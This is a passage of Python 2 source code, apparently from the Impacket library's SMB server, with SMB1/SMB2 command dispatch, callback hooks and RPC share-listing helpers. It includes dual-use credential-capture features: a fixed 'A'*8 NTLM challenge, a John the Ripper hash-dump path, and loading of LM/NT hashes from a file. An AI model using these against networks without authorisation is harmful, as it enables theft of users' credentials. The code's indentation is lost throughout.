class SMBSERVERHandler(SocketServer.BaseRequestHandler):
def __init__(self, request, client_address, server, select_poll = False):
self.__SMB = server
self.__ip, self.__port = client_address
self.__request = request
self.__connId = threading.currentThread().getName()
self.__timeOut = 60*5
self.__select_poll = select_poll
#self.__connId = os.getpid()
SocketServer.BaseRequestHandler.__init__(self, request, client_address, server)
def handle(self):
self.__SMB.log("Incoming connection (%s,%d)" % (self.__ip, self.__port))
self.__SMB.addConnection(self.__connId, self.__ip, self.__port)
while True:
try:
# Firt of all let's get the NETBIOS packet
session = nmb.NetBIOSTCPSession(self.__SMB.getServerName(),'HOST', self.__ip, sess_port = self.__port, sock = self.__request, select_poll = self.__select_poll)
try:
p = session.recv_packet(self.__timeOut)
except nmb.NetBIOSTimeout:
raise
except nmb.NetBIOSError:
break
if p.get_type() == nmb.NETBIOS_SESSION_REQUEST:
# Someone is requesting a session, we're gonna accept them all :)
_, rn, my = p.get_trailer().split(' ')
remote_name = nmb.decode_name('\x20'+rn)
myname = nmb.decode_name('\x20'+my)
self.__SMB.log("NetBIOS Session request (%s,%s,%s)" % (self.__ip, remote_name[1].strip(), myname[1]))
r = nmb.NetBIOSSessionPacket()
r.set_type(nmb.NETBIOS_SESSION_POSITIVE_RESPONSE)
r.set_trailer(p.get_trailer())
self.__request.send(r.rawData())
else:
resp = self.__SMB.processRequest(self.__connId, p.get_trailer())
# Send all the packets recevied. Except for big transactions this should be
# a single packet
for i in resp:
session.send_packet(str(i))
except Exception, e:
self.__SMB.log("Handle: %s" % e)
#import traceback
#traceback.print_exc()
break
def finish(self):
# Thread/process is dying, we should tell the main SMB thread to remove all this thread data
self.__SMB.log("Closing down connection (%s,%d)" % (self.__ip, self.__port))
self.__SMB.removeConnection(self.__connId)
return SocketServer.BaseRequestHandler.finish(self)
class SMBSERVER(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
#class SMBSERVER(SocketServer.ForkingMixIn, SocketServer.TCPServer):
def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser = None):
SocketServer.TCPServer.allow_reuse_address = True
SocketServer.TCPServer.__init__(self, server_address, handler_class)
# Server name and OS to be presented whenever is necessary
self.__serverName = ''
self.__serverOS = ''
self.__serverDomain = ''
self.__challenge = ''
self.__log = None
# Our ConfigParser data
self.__serverConfig = config_parser
# Our credentials to be used during the server's lifetime
self.__credentials = {}
# Our log file
self.__logFile = ''
# Registered Named Pipes, format is PipeName,Socket
self.__registeredNamedPipes = {}
# JTR dump path
self.__jtr_dump_path = ''
# SMB2 Support flag = default not active
self.__SMB2Support = False
# Our list of commands we will answer, by default the NOT IMPLEMENTED one
self.__smbCommandsHandler = SMBCommands()
self.__smbTrans2Handler = TRANS2Commands()
self.__smbTransHandler = TRANSCommands()
self.__smbNTTransHandler = NTTRANSCommands()
self.__smb2CommandsHandler = SMB2Commands()
self.__IoctlHandler = Ioctls()
self.__smbNTTransCommands = {
# NT IOCTL, can't find doc for this
0xff :self.__smbNTTransHandler.default
}
self.__smbTransCommands = {
'\\PIPE\\LANMAN' :self.__smbTransHandler.lanMan,
smb.SMB.TRANS_TRANSACT_NMPIPE :self.__smbTransHandler.transactNamedPipe,
}
self.__smbTrans2Commands = {
smb.SMB.TRANS2_FIND_FIRST2 :self.__smbTrans2Handler.findFirst2,
smb.SMB.TRANS2_FIND_NEXT2 :self.__smbTrans2Handler.findNext2,
smb.SMB.TRANS2_QUERY_FS_INFORMATION :self.__smbTrans2Handler.queryFsInformation,
smb.SMB.TRANS2_QUERY_PATH_INFORMATION :self.__smbTrans2Handler.queryPathInformation,
smb.SMB.TRANS2_QUERY_FILE_INFORMATION :self.__smbTrans2Handler.queryFileInformation,
smb.SMB.TRANS2_SET_FILE_INFORMATION :self.__smbTrans2Handler.setFileInformation,
smb.SMB.TRANS2_SET_PATH_INFORMATION :self.__smbTrans2Handler.setPathInformation
}
self.__smbCommands = {
#smb.SMB.SMB_COM_FLUSH: self.__smbCommandsHandler.smbComFlush,
smb.SMB.SMB_COM_CREATE_DIRECTORY: self.__smbCommandsHandler.smbComCreateDirectory,
smb.SMB.SMB_COM_DELETE_DIRECTORY: self.__smbCommandsHandler.smbComDeleteDirectory,
smb.SMB.SMB_COM_RENAME: self.__smbCommandsHandler.smbComRename,
smb.SMB.SMB_COM_DELETE: self.__smbCommandsHandler.smbComDelete,
smb.SMB.SMB_COM_NEGOTIATE: self.__smbCommandsHandler.smbComNegotiate,
smb.SMB.SMB_COM_SESSION_SETUP_ANDX: self.__smbCommandsHandler.smbComSessionSetupAndX,
smb.SMB.SMB_COM_LOGOFF_ANDX: self.__smbCommandsHandler.smbComLogOffAndX,
smb.SMB.SMB_COM_TREE_CONNECT_ANDX: self.__smbCommandsHandler.smbComTreeConnectAndX,
smb.SMB.SMB_COM_TREE_DISCONNECT: self.__smbCommandsHandler.smbComTreeDisconnect,
smb.SMB.SMB_COM_ECHO: self.__smbCommandsHandler.smbComEcho,
smb.SMB.SMB_COM_QUERY_INFORMATION: self.__smbCommandsHandler.smbQueryInformation,
smb.SMB.SMB_COM_TRANSACTION2: self.__smbCommandsHandler.smbTransaction2,
smb.SMB.SMB_COM_TRANSACTION: self.__smbCommandsHandler.smbTransaction,
# Not needed for now
smb.SMB.SMB_COM_NT_TRANSACT: self.__smbCommandsHandler.smbNTTransact,
smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: self.__smbCommandsHandler.smbQueryInformationDisk,
smb.SMB.SMB_COM_OPEN_ANDX: self.__smbCommandsHandler.smbComOpenAndX,
smb.SMB.SMB_COM_QUERY_INFORMATION2: self.__smbCommandsHandler.smbComQueryInformation2,
smb.SMB.SMB_COM_READ_ANDX: self.__smbCommandsHandler.smbComReadAndX,
smb.SMB.SMB_COM_READ: self.__smbCommandsHandler.smbComRead,
smb.SMB.SMB_COM_WRITE_ANDX: self.__smbCommandsHandler.smbComWriteAndX,
smb.SMB.SMB_COM_WRITE: self.__smbCommandsHandler.smbComWrite,
smb.SMB.SMB_COM_CLOSE: self.__smbCommandsHandler.smbComClose,
smb.SMB.SMB_COM_LOCKING_ANDX: self.__smbCommandsHandler.smbComLockingAndX,
smb.SMB.SMB_COM_NT_CREATE_ANDX: self.__smbCommandsHandler.smbComNtCreateAndX,
0xFF: self.__smbCommandsHandler.default
}
self.__smb2Ioctls = {
smb2.FSCTL_DFS_GET_REFERRALS: self.__IoctlHandler.fsctlDfsGetReferrals,
# smb2.FSCTL_PIPE_PEEK: self.__IoctlHandler.fsctlPipePeek,
# smb2.FSCTL_PIPE_WAIT: self.__IoctlHandler.fsctlPipeWait,
smb2.FSCTL_PIPE_TRANSCEIVE: self.__IoctlHandler.fsctlPipeTransceive,
# smb2.FSCTL_SRV_COPYCHUNK: self.__IoctlHandler.fsctlSrvCopyChunk,
# smb2.FSCTL_SRV_ENUMERATE_SNAPSHOTS: self.__IoctlHandler.fsctlSrvEnumerateSnapshots,
# smb2.FSCTL_SRV_REQUEST_RESUME_KEY: self.__IoctlHandler.fsctlSrvRequestResumeKey,
# smb2.FSCTL_SRV_READ_HASH: self.__IoctlHandler.fsctlSrvReadHash,
# smb2.FSCTL_SRV_COPYCHUNK_WRITE: self.__IoctlHandler.fsctlSrvCopyChunkWrite,
# smb2.FSCTL_LMR_REQUEST_RESILIENCY: self.__IoctlHandler.fsctlLmrRequestResiliency,
# smb2.FSCTL_QUERY_NETWORK_INTERFACE_INFO: self.__IoctlHandler.fsctlQueryNetworkInterfaceInfo,
# smb2.FSCTL_SET_REPARSE_POINT: self.__IoctlHandler.fsctlSetReparsePoint,
# smb2.FSCTL_DFS_GET_REFERRALS_EX: self.__IoctlHandler.fsctlDfsGetReferralsEx,
# smb2.FSCTL_FILE_LEVEL_TRIM: self.__IoctlHandler.fsctlFileLevelTrim,
smb2.FSCTL_VALIDATE_NEGOTIATE_INFO: self.__IoctlHandler.fsctlValidateNegotiateInfo,
}
self.__smb2Commands = {
smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smb2Negotiate,
smb2.SMB2_SESSION_SETUP: self.__smb2CommandsHandler.smb2SessionSetup,
smb2.SMB2_LOGOFF: self.__smb2CommandsHandler.smb2Logoff,
smb2.SMB2_TREE_CONNECT: self.__smb2CommandsHandler.smb2TreeConnect,
smb2.SMB2_TREE_DISCONNECT: self.__smb2CommandsHandler.smb2TreeDisconnect,
smb2.SMB2_CREATE: self.__smb2CommandsHandler.smb2Create,
smb2.SMB2_CLOSE: self.__smb2CommandsHandler.smb2Close,
smb2.SMB2_FLUSH: self.__smb2CommandsHandler.smb2Flush,
smb2.SMB2_READ: self.__smb2CommandsHandler.smb2Read,
smb2.SMB2_WRITE: self.__smb2CommandsHandler.smb2Write,
smb2.SMB2_LOCK: self.__smb2CommandsHandler.smb2Lock,
smb2.SMB2_IOCTL: self.__smb2CommandsHandler.smb2Ioctl,
smb2.SMB2_CANCEL: self.__smb2CommandsHandler.smb2Cancel,
smb2.SMB2_ECHO: self.__smb2CommandsHandler.smb2Echo,
smb2.SMB2_QUERY_DIRECTORY: self.__smb2CommandsHandler.smb2QueryDirectory,
smb2.SMB2_CHANGE_NOTIFY: self.__smb2CommandsHandler.smb2ChangeNotify,
smb2.SMB2_QUERY_INFO: self.__smb2CommandsHandler.smb2QueryInfo,
smb2.SMB2_SET_INFO: self.__smb2CommandsHandler.smb2SetInfo,
# smb2.SMB2_OPLOCK_BREAK: self.__smb2CommandsHandler.smb2SessionSetup,
0xFF: self.__smb2CommandsHandler.default
}
# List of active connections
self.__activeConnections = {}
def getIoctls(self):
return self.__smb2Ioctls
def getCredentials(self):
return self.__credentials
def removeConnection(self, name):
try:
del(self.__activeConnections[name])
except:
pass
self.log("Remaining connections %s" % self.__activeConnections.keys())
def addConnection(self, name, ip, port):
self.__activeConnections[name] = {}
# Let's init with some know stuff we will need to have
# TODO: Document what's in there
#print "Current Connections", self.__activeConnections.keys()
self.__activeConnections[name]['PacketNum'] = 0
self.__activeConnections[name]['ClientIP'] = ip
self.__activeConnections[name]['ClientPort'] = port
self.__activeConnections[name]['Uid'] = 0
self.__activeConnections[name]['ConnectedShares'] = {}
self.__activeConnections[name]['OpenedFiles'] = {}
# SID results for findfirst2
self.__activeConnections[name]['SIDs'] = {}
self.__activeConnections[name]['LastRequest'] = {}
def getActiveConnections(self):
return self.__activeConnections
def setConnectionData(self, connId, data):
self.__activeConnections[connId] = data
#print "setConnectionData"
#print self.__activeConnections
def getConnectionData(self, connId, checkStatus = True):
conn = self.__activeConnections[connId]
if checkStatus is True:
if conn.has_key('Authenticated') is not True:
# Can't keep going further
raise Exception("User not Authenticated!")
return conn
def getRegisteredNamedPipes(self):
return self.__registeredNamedPipes
def registerNamedPipe(self, pipeName, address):
self.__registeredNamedPipes[unicode(pipeName)] = address
return True
def unregisterNamedPipe(self, pipeName):
if self.__registeredNamedPipes.has_key(pipeName):
del(self.__registeredNamedPipes[unicode(pipeName)])
return True
return False
def unregisterTransaction(self, transCommand):
if self.__smbTransCommands.has_key(transCommand):
del(self.__smbTransCommands[transCommand])
def hookTransaction(self, transCommand, callback):
# If you call this function, callback will replace
# the current Transaction sub command.
# (don't get confused with the Transaction smbCommand)
# If the transaction sub command doesn't not exist, it is added
# If the transaction sub command exists, it returns the original function # replaced
#
# callback MUST be declared as:
# callback(connId, smbServer, recvPacket, parameters, data, maxDataCount=0)
#
# WHERE:
#
# connId : the connection Id, used to grab/update information about
# the current connection
# smbServer : the SMBServer instance available for you to ask
# configuration data
# recvPacket : the full SMBPacket that triggered this command
# parameters : the transaction parameters
# data : the transaction data
# maxDataCount: the max amount of data that can be transfered agreed
# with the client
#
# and MUST return:
# respSetup, respParameters, respData, errorCode
#
# WHERE:
#
# respSetup: the setup response of the transaction
# respParameters: the parameters response of the transaction
# respData: the data reponse of the transaction
# errorCode: the NT error code
if self.__smbTransCommands.has_key(transCommand):
originalCommand = self.__smbTransCommands[transCommand]
else:
originalCommand = None
self.__smbTransCommands[transCommand] = callback
return originalCommand
def unregisterTransaction2(self, transCommand):
if self.__smbTrans2Commands.has_key(transCommand):
del(self.__smbTrans2Commands[transCommand])
def hookTransaction2(self, transCommand, callback):
# Here we should add to __smbTrans2Commands
# Same description as Transaction
if self.__smbTrans2Commands.has_key(transCommand):
originalCommand = self.__smbTrans2Commands[transCommand]
else:
originalCommand = None
self.__smbTrans2Commands[transCommand] = callback
return originalCommand
def unregisterNTTransaction(self, transCommand):
if self.__smbNTTransCommands.has_key(transCommand):
del(self.__smbNTTransCommands[transCommand])
def hookNTTransaction(self, transCommand, callback):
# Here we should add to __smbNTTransCommands
# Same description as Transaction
if self.__smbNTTransCommands.has_key(transCommand):
originalCommand = self.__smbNTTransCommands[transCommand]
else:
originalCommand = None
self.__smbNTTransCommands[transCommand] = callback
return originalCommand
def unregisterSmbCommand(self, smbCommand):
if self.__smbCommands.has_key(smbCommand):
del(self.__smbCommands[smbCommand])
def hookSmbCommand(self, smbCommand, callback):
# Here we should add to self.__smbCommands
# If you call this function, callback will replace
# the current smbCommand.
# If smbCommand doesn't not exist, it is added
# If SMB command exists, it returns the original function replaced
#
# callback MUST be declared as:
# callback(connId, smbServer, SMBCommand, recvPacket)
#
# WHERE:
#
# connId : the connection Id, used to grab/update information about
# the current connection
# smbServer : the SMBServer instance available for you to ask
# configuration data
# SMBCommand: the SMBCommand itself, with its data and parameters.
# Check smb.py:SMBCommand() for a reference
# recvPacket: the full SMBPacket that triggered this command
#
# and MUST return:
# , , errorCode
# has higher preference over commands, in case you
# want to change the whole packet
# errorCode: the NT error code
#
# For SMB_COM_TRANSACTION2, SMB_COM_TRANSACTION and SMB_COM_NT_TRANSACT
# the callback function is slightly different:
#
# callback(connId, smbServer, SMBCommand, recvPacket, transCommands)
#
# WHERE:
#
# transCommands: a list of transaction subcommands already registered
#
if self.__smbCommands.has_key(smbCommand):
originalCommand = self.__smbCommands[smbCommand]
else:
originalCommand = None
self.__smbCommands[smbCommand] = callback
return originalCommand
def unregisterSmb2Command(self, smb2Command):
if self.__smb2Commands.has_key(smb2Command):
del(self.__smb2Commands[smb2Command])
def hookSmb2Command(self, smb2Command, callback):
if self.__smb2Commands.has_key(smb2Command):
originalCommand = self.__smb2Commands[smb2Command]
else:
originalCommand = None
self.__smb2Commands[smb2Command] = callback
return originalCommand
def log(self, msg, level=logging.INFO):
self.__log.log(level,msg)
def getServerName(self):
return self.__serverName
def getServerOS(self):
return self.__serverOS
def getServerDomain(self):
return self.__serverDomain
def getSMBChallenge(self):
return self.__challenge
def getServerConfig(self):
return self.__serverConfig
def setServerConfig(self, config):
self.__serverConfig = config
def getJTRdumpPath(self):
return self.__jtr_dump_path
def verify_request(self, request, client_address):
# TODO: Control here the max amount of processes we want to launch
# returning False, closes the connection
return True
def processRequest(self, connId, data):
# TODO: Process batched commands.
isSMB2 = False
SMBCommand = None
try:
packet = smb.NewSMBPacket(data = data)
SMBCommand = smb.SMBCommand(packet['Data'][0])
except:
# Maybe a SMB2 packet?
packet = smb2.SMB2Packet(data = data)
isSMB2 = True
# We might have compound requests
compoundedPacketsResponse = []
compoundedPackets = []
try:
# Search out list of implemented commands
# We provide them with:
# connId : representing the data for this specific connection
# self : the SMBSERVER if they want to ask data to it
# SMBCommand : the SMBCommand they are expecting to process
# packet : the received packet itself, in case they need more data than the actual command
# Only for Transactions
# transCommand: a list of transaction subcommands
# We expect to get:
# respCommands: a list of answers for the commands processed
# respPacket : if the commands chose to directly craft packet/s, we use this and not the previous
# this MUST be a list
# errorCode : self explanatory
if isSMB2 is False:
if packet['Command'] == smb.SMB.SMB_COM_TRANSACTION2:
respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
connId,
self,
SMBCommand,
packet,
self.__smbTrans2Commands)
elif packet['Command'] == smb.SMB.SMB_COM_NT_TRANSACT:
respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
connId,
self,
SMBCommand,
packet,
self.__smbNTTransCommands)
elif packet['Command'] == smb.SMB.SMB_COM_TRANSACTION:
respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
connId,
self,
SMBCommand,
packet,
self.__smbTransCommands)
else:
if self.__smbCommands.has_key(packet['Command']):
if self.__SMB2Support is True:
if packet['Command'] == smb.SMB.SMB_COM_NEGOTIATE:
try:
respCommands, respPackets, errorCode = self.__smb2Commands[smb2.SMB2_NEGOTIATE](connId, self, packet, True)
isSMB2 = True
except Exception, e:
self.log('SMB2_NEGOTIATE: %s' % e, logging.ERROR)
# If something went wrong, let's fallback to SMB1
respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
connId,
self,
SMBCommand,
packet)
#self.__SMB2Support = False
pass
else:
respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
connId,
self,
SMBCommand,
packet)
else:
respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
connId,
self,
SMBCommand,
packet)
else:
respCommands, respPackets, errorCode = self.__smbCommands[255](connId, self, SMBCommand, packet)
compoundedPacketsResponse.append((respCommands, respPackets, errorCode))
compoundedPackets.append(packet)
else:
done = False
while not done:
if self.__smb2Commands.has_key(packet['Command']):
if self.__SMB2Support is True:
respCommands, respPackets, errorCode = self.__smb2Commands[packet['Command']](
connId,
self,
packet)
else:
respCommands, respPackets, errorCode = self.__smb2Commands[255](connId, self, packet)
else:
respCommands, respPackets, errorCode = self.__smb2Commands[255](connId, self, packet)
# Let's store the result for this compounded packet
compoundedPacketsResponse.append((respCommands, respPackets, errorCode))
compoundedPackets.append(packet)
if packet['NextCommand'] != 0:
data = data[packet['NextCommand']:]
packet = smb2.SMB2Packet(data = data)
else:
done = True
except Exception, e:
#import traceback
#traceback.print_exc()
# Something wen't wrong, defaulting to Bad user ID
self.log('processRequest (0x%x,%s)' % (packet['Command'],e), logging.ERROR)
raise
# We prepare the response packet to commands don't need to bother about that.
connData = self.getConnectionData(connId, False)
# Force reconnection loop.. This is just a test.. client will send me back credentials :)
#connData['PacketNum'] += 1
#if connData['PacketNum'] == 15:
# connData['PacketNum'] = 0
# # Something wen't wrong, defaulting to Bad user ID
# self.log('Sending BAD USER ID!', logging.ERROR)
# #raise
# packet['Flags1'] |= smb.SMB.FLAGS1_REPLY
# packet['Flags2'] = 0
# errorCode = STATUS_SMB_BAD_UID
# packet['ErrorCode'] = errorCode >> 16
# packet['ErrorClass'] = errorCode & 0xff
# return [packet]
self.setConnectionData(connId, connData)
packetsToSend = []
for packetNum in range(len(compoundedPacketsResponse)):
respCommands, respPackets, errorCode = compoundedPacketsResponse[packetNum]
packet = compoundedPackets[packetNum]
if respPackets is None:
for respCommand in respCommands:
if isSMB2 is False:
respPacket = smb.NewSMBPacket()
respPacket['Flags1'] = smb.SMB.FLAGS1_REPLY
# TODO this should come from a per session configuration
respPacket['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | packet['Flags2'] & smb.SMB.FLAGS2_UNICODE
#respPacket['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES
#respPacket['Flags1'] = 0x98
#respPacket['Flags2'] = 0xc807
respPacket['Tid'] = packet['Tid']
respPacket['Mid'] = packet['Mid']
respPacket['Pid'] = packet['Pid']
respPacket['Uid'] = connData['Uid']
respPacket['ErrorCode'] = errorCode >> 16
respPacket['_reserved'] = errorCode >> 8 & 0xff
respPacket['ErrorClass'] = errorCode & 0xff
respPacket.addCommand(respCommand)
packetsToSend.append(respPacket)
else:
respPacket = smb2.SMB2Packet()
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
if packetNum > 0:
respPacket['Flags'] |= smb2.SMB2_FLAGS_RELATED_OPERATIONS
respPacket['Status'] = errorCode
respPacket['CreditRequestResponse'] = packet['CreditRequestResponse']
respPacket['Command'] = packet['Command']
respPacket['CreditCharge'] = packet['CreditCharge']
#respPacket['CreditCharge'] = 0
respPacket['Reserved'] = packet['Reserved']
respPacket['SessionID'] = connData['Uid']
respPacket['MessageID'] = packet['MessageID']
respPacket['TreeID'] = packet['TreeID']
respPacket['Data'] = str(respCommand)
packetsToSend.append(respPacket)
else:
# The SMBCommand took care of building the packet
packetsToSend = respPackets
if isSMB2 is True:
# Let's build a compound answer
finalData = ''
i = 0
for i in range(len(packetsToSend)-1):
packet = packetsToSend[i]
# Align to 8-bytes
padLen = (8 - (len(packet) % 8) ) % 8
packet['NextCommand'] = len(packet) + padLen
finalData += str(packet) + padLen*'\x00'
# Last one
finalData += str(packetsToSend[len(packetsToSend)-1])
packetsToSend = [finalData]
# We clear the compound requests
connData['LastRequest'] = {}
return packetsToSend
def processConfigFile(self, configFile = None):
# TODO: Do a real config parser
if self.__serverConfig is None:
if configFile is None:
configFile = 'smb.conf'
self.__serverConfig = ConfigParser.ConfigParser()
self.__serverConfig.read(configFile)
self.__serverName = self.__serverConfig.get('global','server_name')
self.__serverOS = self.__serverConfig.get('global','server_os')
self.__serverDomain = self.__serverConfig.get('global','server_domain')
self.__logFile = self.__serverConfig.get('global','log_file')
if self.__serverConfig.has_option('global', 'challenge'):
self.__challenge = self.__serverConfig.get('global', 'challenge')
else:
self.__challenge = 'A'*8
if self.__serverConfig.has_option("global", "jtr_dump_path"):
self.__jtr_dump_path = self.__serverConfig.get("global", "jtr_dump_path")
if self.__serverConfig.has_option("global", "SMB2Support"):
self.__SMB2Support = self.__serverConfig.getboolean("global","SMB2Support")
else:
self.__SMB2Support = False
if self.__logFile != 'None':
logging.basicConfig(filename = self.__logFile,
level = logging.DEBUG,
format="%(asctime)s: %(levelname)s: %(message)s",
datefmt = '%m/%d/%Y %I:%M:%S %p')
self.__log = LOG
# Process the credentials
credentials_fname = self.__serverConfig.get('global','credentials_file')
if credentials_fname is not "":
cred = open(credentials_fname)
line = cred.readline()
while line:
name, domain, lmhash, nthash = line.split(':')
self.__credentials[name] = (domain, lmhash, nthash.strip('\r\n'))
line = cred.readline()
cred.close()
self.log('Config file parsed')
# For windows platforms, opening a directory is not an option, so we set a void FD
VOID_FILE_DESCRIPTOR = -1
PIPE_FILE_DESCRIPTOR = -2
######################################################################
# HELPER CLASSES
######################################################################
from impacket.dcerpc.v5.rpcrt import DCERPCServer
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.srvs import NetrShareEnum, NetrShareEnumResponse, SHARE_INFO_1, NetrServerGetInfo, NetrServerGetInfoResponse, NetrShareGetInfo, NetrShareGetInfoResponse
from impacket.dcerpc.v5.wkst import NetrWkstaGetInfo, NetrWkstaGetInfoResponse
from impacket.system_errors import ERROR_INVALID_LEVEL
class WKSTServer(DCERPCServer):
def __init__(self):
DCERPCServer.__init__(self)
self.wkssvcCallBacks = {
0: self.NetrWkstaGetInfo,
}
self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'),'\\PIPE\\wkssvc', self.wkssvcCallBacks)
def NetrWkstaGetInfo(self,data):
request = NetrWkstaGetInfo(data)
self.log("NetrWkstaGetInfo Level: %d" % request['Level'])
answer = NetrWkstaGetInfoResponse()
if request['Level'] not in (100, 101):
answer['ErrorCode'] = ERROR_INVALID_LEVEL
return answer
answer['WkstaInfo']['tag'] = request['Level']
if request['Level'] == 100:
# Windows. Decimal value 500.
answer['WkstaInfo']['WkstaInfo100']['wki100_platform_id'] = 0x000001F4
answer['WkstaInfo']['WkstaInfo100']['wki100_computername'] = NULL
answer['WkstaInfo']['WkstaInfo100']['wki100_langroup'] = NULL
answer['WkstaInfo']['WkstaInfo100']['wki100_ver_major'] = 5
answer['WkstaInfo']['WkstaInfo100']['wki100_ver_minor'] = 0
else:
# Windows. Decimal value 500.
answer['WkstaInfo']['WkstaInfo101']['wki101_platform_id'] = 0x000001F4
answer['WkstaInfo']['WkstaInfo101']['wki101_computername'] = NULL
answer['WkstaInfo']['WkstaInfo101']['wki101_langroup'] = NULL
answer['WkstaInfo']['WkstaInfo101']['wki101_ver_major'] = 5
answer['WkstaInfo']['WkstaInfo101']['wki101_ver_minor'] = 0
answer['WkstaInfo']['WkstaInfo101']['wki101_lanroot'] = NULL
return answer
class SRVSServer(DCERPCServer):
def __init__(self):
DCERPCServer.__init__(self)
self._shares = {}
self.__serverConfig = None
self.__logFile = None
self.srvsvcCallBacks = {
15: self.NetrShareEnum,
16: self.NetrShareGetInfo,
21: self.NetrServerGetInfo,
}
self.addCallbacks(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'),'\\PIPE\\srvsvc', self.srvsvcCallBacks)
def setServerConfig(self, config):
self.__serverConfig = config
def processConfigFile(self, configFile=None):
if configFile is not None:
self.__serverConfig = ConfigParser.ConfigParser()
self.__serverConfig.read(configFile)
sections = self.__serverConfig.sections()
# Let's check the log file
self.__logFile = self.__serverConfig.get('global','log_file')
if self.__logFile != 'None':
logging.basicConfig(filename = self.__logFile,
level = logging.DEBUG,
format="%(asctime)s: %(levelname)s: %(message)s",
datefmt = '%m/%d/%Y %I:%M:%S %p')
# Remove the global one
del(sections[sections.index('global')])
self._shares = {}
for i in sections:
self._shares[i] = dict(self.__serverConfig.items(i))
def NetrShareGetInfo(self,data):
request = NetrShareGetInfo(data)
self.log("NetrGetShareInfo Level: %d" % request['Level'])
s = request['NetName'][:-1].upper()
answer = NetrShareGetInfoResponse()
if self._shares.has_key(s):
share = self._shares[s]
answer['InfoStruct']['tag'] = 1
answer['InfoStruct']['ShareInfo1']['shi1_netname']= s+'\x00'
answer['InfoStruct']['ShareInfo1']['shi1_type'] = share['share type']
answer['InfoStruct']['ShareInfo1']['shi1_remark'] = share['comment']+'\x00'
answer['ErrorCode'] = 0
else:
answer['InfoStruct']['tag'] = 1
answer['InfoStruct']['ShareInfo1']= NULL
answer['ErrorCode'] = 0x0906 #WERR_NET_NAME_NOT_FOUND
return answer
def NetrServerGetInfo(self,data):
request = NetrServerGetInfo(data)
self.log("NetrServerGetInfo Level: %d" % request['Level'])
answer = NetrServerGetInfoResponse()
answer['InfoStruct']['tag'] = 101
# PLATFORM_ID_NT = 500
answer['InfoStruct']['ServerInfo101']['sv101_platform_id'] = 500
answer['InfoStruct']['ServerInfo101']['sv101_name'] = request['ServerName']
# Windows 7 = 6.1
answer['InfoStruct']['ServerInfo101']['sv101_version_major'] = 6
answer['InfoStruct']['ServerInfo101']['sv101_version_minor'] = 1
# Workstation = 1
answer['InfoStruct']['ServerInfo101']['sv101_type'] = 1
answer['InfoStruct']['ServerInfo101']['sv101_comment'] = NULL
answer['ErrorCode'] = 0
return answer
def NetrShareEnum(self, data):
request = NetrShareEnum(data)
self.log("NetrShareEnum Level: %d" % request['InfoStruct']['Level'])
shareEnum = NetrShareEnumResponse()
shareEnum['InfoStruct']['Level'] = 1
shareEnum['InfoStruct']['ShareInfo']['tag'] = 1
shareEnum['TotalEntries'] = len(self._shares)
shareEnum['InfoStruct']['ShareInfo']['Level1']['EntriesRead'] = len(self._shares)
shareEnum['ErrorCode'] = 0
for i in self._shares:
shareInfo = SHARE_INFO_1()
shareInfo['shi1_netname'] = i+'\x00'
shareInfo['shi1_type'] = self._shares[i]['share type']
shareInfo['shi1_remark'] = self._shares[i]['comment']+'\x00'
shareEnum['InfoStruct']['ShareInfo']['Level1']['Buffer'].append(shareInfo)
return shareEnum
class SimpleSMBServer:
"""
SimpleSMBServer class - Implements a simple, customizable SMB Server
:param string listenAddress: the address you want the server to listen on
:param integer listenPort: the port number you want the server to listen on
:param string configFile: a file with all the servers' configuration. If no file specified, this class will create the basic parameters needed to run. You will need to add your shares manually tho. See addShare() method
"""
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
if configFile != '':
self.__server = SMBSERVER((listenAddress,listenPort))
self.__server.processConfigFile(configFile)
self.__smbConfig = None
else:
# Here we write a mini config for the server
self.__smbConfig = ConfigParser.ConfigParser()
self.__smbConfig.add_section('global')
self.__smbConfig.set('global','server_name',''.join([random.choice(string.letters) for _ in range(8)]))
self.__smbConfig.set('global','server_os',''.join([random.choice(string.letters) for _ in range(8)])
)
self.__smbConfig.set('global','server_domain',''.join([random.choice(string.letters) for _ in range(8)])
)
self.__smbConfig.set('global','log_file','None')
self.__smbConfig.set('global','rpc_apis','yes')
self.__smbConfig.set('global','credentials_file','')
self.__smbConfig.set('global', 'challenge', "A"*8)
# IPC always needed
self.__smbConfig.add_section('IPC$')
self.__smbConfig.set('IPC$','comment','')
self.__smbConfig.set('IPC$','read only','yes')
self.__smbConfig.set('IPC$','share type','3')
self.__smbConfig.set('IPC$','path','')
self.__server = SMBSERVER((listenAddress,listenPort), config_parser = self.__smbConfig)
self.__server.processConfigFile()
# Now we have to register the MS-SRVS server. This specially important for
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
# ask for shares using MS-RAP.
self.__srvsServer = SRVSServer()
self.__srvsServer.daemon = True
self.__wkstServer = WKSTServer()
self.__wkstServer.daemon = True
self.__server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
self.__server.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort()))
def start(self):
self.__srvsServer.start()
self.__wkstServer.start()
self.__server.serve_forever()
def registerNamedPipe(self, pipeName, address):
return self.__server.registerNamedPipe(pipeName, address)
def unregisterNamedPipe(self, pipeName):
return self.__server.unregisterNamedPipe(pipeName)
def getRegisteredNamedPipes(self):
return self.__server.getRegisteredNamedPipes()
def addShare(self, shareName, sharePath, shareComment='', shareType = 0, readOnly = 'no'):
self.__smbConfig.add_section(shareName)
self.__smbConfig.set(shareName, 'comment', shareComment)
self.__smbConfig.set(shareName, 'read only', readOnly)
self.__smbConfig.set(shareName, 'share type', shareType)
